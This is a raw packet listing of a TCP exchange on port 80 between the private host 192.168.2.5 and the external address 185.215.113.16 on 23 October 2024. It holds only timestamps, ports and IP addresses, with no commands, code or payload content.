Oct 23, 2024 15:48:18.886261940 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.886312962 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.887001991 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.887036085 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.887089014 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.887092113 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.887125969 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.887161016 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.887177944 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.887196064 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.887231112 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.887248993 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.887809038 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.887865067 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:18.887882948 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:18.940599918 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.035507917 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.035564899 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.035579920 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.035595894 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.035612106 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.035628080 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.035645962 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.035659075 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.035696030 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.035744905 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.035792112 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.035797119 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.035809994 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.035820007 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.035849094 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.036092043 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.036104918 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.036114931 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.036128044 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.036143064 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.036181927 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.036417961 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.036428928 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.036437988 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.036478996 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.036478996 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.036494017 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.036505938 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.036516905 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.036529064 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.036541939 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.036545992 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.036552906 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.036564112 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.036573887 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.036575079 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.036593914 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.036611080 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.037240982 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.037252903 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.037262917 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.037280083 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.037290096 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.037295103 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.037302017 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.037336111 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.037365913 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.037400961 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.037412882 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.037421942 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.037432909 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.037444115 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.037456989 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.037486076 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.038142920 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.038189888 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.038191080 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.038203955 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.038244009 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.038244963 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.038256884 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.038266897 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.038279057 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.038296938 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.038305044 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.038322926 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.038335085 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.038340092 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.038345098 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.038366079 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.038400888 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.039047956 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.039082050 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.039092064 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.039133072 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.039143085 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.039154053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.039164066 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.039174080 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.039194107 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.039215088 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.039223909 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.039235115 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.039247036 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.039268017 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.039300919 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.041429996 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.041440964 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.041450977 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.041485071 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.041501045 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.041512966 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.041522026 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.041534901 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.041554928 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.041584969 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.041712999 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.041723967 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.041733027 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.041743994 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.041764021 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.041798115 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.041887045 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.041897058 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.041935921 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.041944981 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.041956902 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.041966915 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.041999102 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.042031050 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.042062998 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.042138100 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.042149067 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.042157888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.042170048 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.042181015 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.042187929 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.042223930 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.042223930 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.042674065 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.042829990 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.042840958 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.042850971 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.042860031 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.042876005 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.042885065 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.042885065 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.042885065 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.042896986 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.042907000 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.042910099 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.042922020 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.042933941 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.042943001 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.042963028 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.096887112 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.151117086 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.151371956 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.151431084 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.188486099 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.188509941 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.188520908 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.188533068 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.188565016 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.188589096 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.188601017 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.188663960 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.188663960 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.188673973 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.188684940 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.188695908 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.188734055 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.188796043 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.188819885 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.188836098 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.188843012 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.188843966 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.188858032 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.188868046 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.188875914 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.188875914 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.188896894 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.188926935 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.189179897 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189191103 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189199924 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189241886 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.189305067 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189316034 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189326048 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189336061 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189346075 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189357042 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.189390898 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.189390898 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.189696074 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189707041 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189716101 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189769030 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.189800978 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189815998 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189826965 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189836979 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189847946 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189851999 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.189871073 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189874887 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.189889908 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189896107 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.189913034 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189924002 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189933062 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189943075 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.189955950 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189964056 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.189973116 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189985037 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.189995050 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190004110 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190006018 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.190026045 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.190042973 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.190113068 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190126896 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190135956 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190145969 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190171957 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.190205097 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.190330029 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190496922 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190505981 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190521002 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190531969 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190542936 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190545082 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.190577984 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.190623999 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.190707922 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190717936 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190726042 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190735102 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190747023 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190762997 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.190794945 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.190861940 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190874100 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190884113 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190893888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190906048 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190917015 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.190952063 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.190952063 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.190975904 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190987110 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.190996885 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191004992 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191024065 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.191052914 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.191113949 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191126108 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191140890 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191163063 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.191203117 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191214085 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191221952 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191232920 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191246986 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191247940 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.191258907 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191267014 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.191272020 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191283941 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191303968 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.191339970 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.191471100 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191482067 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191490889 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191500902 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191510916 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191523075 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191519976 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.191534996 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191540956 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.191544056 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191561937 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.191590071 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.191729069 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191737890 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191742897 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191747904 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191752911 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191762924 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191773891 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191775084 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.191787004 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191800117 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191804886 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.191832066 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.191863060 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.191871881 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191881895 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191891909 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191901922 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191912889 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191924095 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191936970 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191951036 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.191951036 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.191952944 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191967010 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191976070 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.191977978 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191992998 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.191997051 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.192004919 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192025900 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.192047119 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.192082882 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192095041 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192135096 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.192161083 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192172050 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192187071 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192198992 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192212105 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.192214012 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192226887 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192250013 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.192269087 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.192271948 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192291975 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192301989 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192333937 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.192375898 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192388058 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192398071 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.192408085 CEST	80	49713	185.215.113.16	192.168.2.5
